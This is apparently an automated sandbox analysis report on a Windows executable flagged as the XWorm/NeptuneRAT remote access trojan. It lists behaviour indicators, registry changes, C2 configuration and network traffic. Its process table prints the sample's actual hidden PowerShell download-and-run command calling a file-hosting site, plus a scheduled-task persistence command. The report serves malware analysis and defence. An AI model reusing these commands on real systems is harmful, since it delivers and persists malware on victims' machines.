| File name: | MasonClient.exe |
| Full analysis: | https://app.any.run/tasks/223f9cd2-2ed8-4c5d-86c2-d1d9b54a28f9 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | October 03, 2025, 17:15:56 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | 2DB2BE06CAE1922AD804A94BFF21D411 |
| SHA1: | FB3BF149940B68B8779335E247EF3BC4E581FF08 |
| SHA256: | A43564569F75F286809302BA8F0AFF05045245CDBD9F5B40000F1947EC4F1932 |
| SSDEEP: | 768:d3NErf2MQbZ5+7NdQ4yCIcaZqphbtrafFEBxNSwNhFOpxbD9leG6Ce:d3/5+ZdQ4hbtra+P3OPc |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 1364)
Run PowerShell with an invisible window
- powershell.exe (PID: 1364)
Changes powershell execution policy (Bypass)
- MasonClient.exe (PID: 5868)
XWORM has been detected (YARA)
- MasonClient.exe (PID: 5868)
Uses Task Scheduler to run other applications
- MasonClient.exe (PID: 5868)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- MasonClient.exe (PID: 5868)
Manipulates environment variables
- powershell.exe (PID: 1364)
Reads security settings of Internet Explorer
- MasonClient.exe (PID: 5868)
Starts POWERSHELL.EXE for commands execution
- MasonClient.exe (PID: 5868)
Executes script without checking the security policy
- powershell.exe (PID: 1364)
Reads the date of Windows installation
- MasonClient.exe (PID: 5868)
Starts process via Powershell
- powershell.exe (PID: 1364)
Downloads file from URI via Powershell
- powershell.exe (PID: 1364)
There is functionality for taking screenshot (YARA)
- MasonClient.exe (PID: 5868)
Starts a new process with hidden mode (POWERSHELL)
- powershell.exe (PID: 1364)
Executable content was dropped or overwritten
- MasonClient.exe (PID: 5868)
Connects to unusual port
- MasonClient.exe (PID: 5868)
The process executes via Task Scheduler
- MasonClient.exe (PID: 2812)
INFO
Checks supported languages
- MasonClient.exe (PID: 5868)
- MasonClient.exe (PID: 2812)
Reads the computer name
- MasonClient.exe (PID: 5868)
- MasonClient.exe (PID: 2812)
Process checks computer location settings
- MasonClient.exe (PID: 5868)
Disables trace logs
- powershell.exe (PID: 1364)
- MasonClient.exe (PID: 5868)
Checks proxy server information
- powershell.exe (PID: 1364)
- MasonClient.exe (PID: 5868)
Failed to connect to remote server (POWERSHELL)
- powershell.exe (PID: 1364)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 1364)
Creates files or folders in the user directory
- MasonClient.exe (PID: 5868)
Reads the machine GUID from the registry
- MasonClient.exe (PID: 5868)
Reads the software policy settings
- MasonClient.exe (PID: 5868)
Reads Environment values
- MasonClient.exe (PID: 5868)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(5868) MasonClient.exe
C2grx1pb7pa.local2net.com:7368
Keys
AESMasonRAT
Options
SplitterMasonGroup
USB drop nameUSB.exe
MutexzpJTkrugdlJqMtzr
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:10:03 16:55:14+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 48640 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xdd0e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 2.2.0.0 |
| ProductVersionNumber: | 2.2.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | Specia Edition |
| CompanyName: | Freemasonry |
| FileDescription: | NeptuneRAT Specia Edition V5.3 |
| FileVersion: | 2.2.0.0 |
| InternalName: | MasonClient.exe |
| LegalCopyright: | Copyright © 2025 |
| OriginalFileName: | MasonClient.exe |
| ProductName: | NeptuneRAT v5.3 |
| ProductVersion: | 2.2.0.0 |
| AssemblyVersion: | 2.2.0.0 |
Total processes
176
Monitored processes
7
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1364 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | MasonClient.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2812 | "C:\Users\admin\AppData\Roaming\MasonClient.exe" | C:\Users\admin\AppData\Roaming\MasonClient.exe | — | svchost.exe | |||||||||||
User: admin Company: Freemasonry Integrity Level: MEDIUM Description: NeptuneRAT Specia Edition V5.3 Exit code: 0 Version: 2.2.0.0 Modules
| |||||||||||||||
| 4580 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5868 | "C:\Users\admin\AppData\Local\Temp\MasonClient.exe" | C:\Users\admin\AppData\Local\Temp\MasonClient.exe | explorer.exe | ||||||||||||
User: admin Company: Freemasonry Integrity Level: MEDIUM Description: NeptuneRAT Specia Edition V5.3 Version: 2.2.0.0 Modules
XWorm(PID) Process(5868) MasonClient.exe C2grx1pb7pa.local2net.com:7368 Keys AESMasonRAT Options SplitterMasonGroup USB drop nameUSB.exe MutexzpJTkrugdlJqMtzr | |||||||||||||||
| 6124 | "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\admin\AppData\Roaming\MasonClient.exe" | C:\Windows\System32\schtasks.exe | — | MasonClient.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6168 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6988 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
7 217
Read events
7 195
Write events
22
Delete events
0
Modification events
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (5868) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
Executable files
1
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1364 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l0xeso3d.vfi.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1364 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4vl12pnk.pqk.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1364 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:EC7F46F323955CEA34D2DD26CAA40629 | SHA256:941EFC9CD9DB04222DAFE2F5F9634F13FAE654D71846944EAD46DB4FCB4A9A58 | |||
| 5868 | MasonClient.exe | C:\Users\admin\AppData\Roaming\MasonClient.exe | executable | |
MD5:2DB2BE06CAE1922AD804A94BFF21D411 | SHA256:A43564569F75F286809302BA8F0AFF05045245CDBD9F5B40000F1947EC4F1932 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
90
DNS requests
19
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7068 | svchost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
5836 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | US | binary | 313 b | whitelisted |
7252 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | US | binary | 471 b | whitelisted |
7068 | svchost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
4584 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | US | binary | 471 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2852 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6016 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1364 | powershell.exe | 108.181.20.35:443 | files.catbox.moe | TELUS Communications | CA | whitelisted |
5224 | SearchApp.exe | 2.23.227.208:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
7068 | svchost.exe | 40.126.32.76:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7068 | svchost.exe | 172.66.2.5:80 | ocsp.digicert.com | — | US | whitelisted |
5836 | backgroundTaskHost.exe | 2.23.227.208:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
5836 | backgroundTaskHost.exe | 172.66.2.5:80 | ocsp.digicert.com | — | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
files.catbox.moe |
| unknown |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
arc.msn.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |
raw.githubusercontent.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2428 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |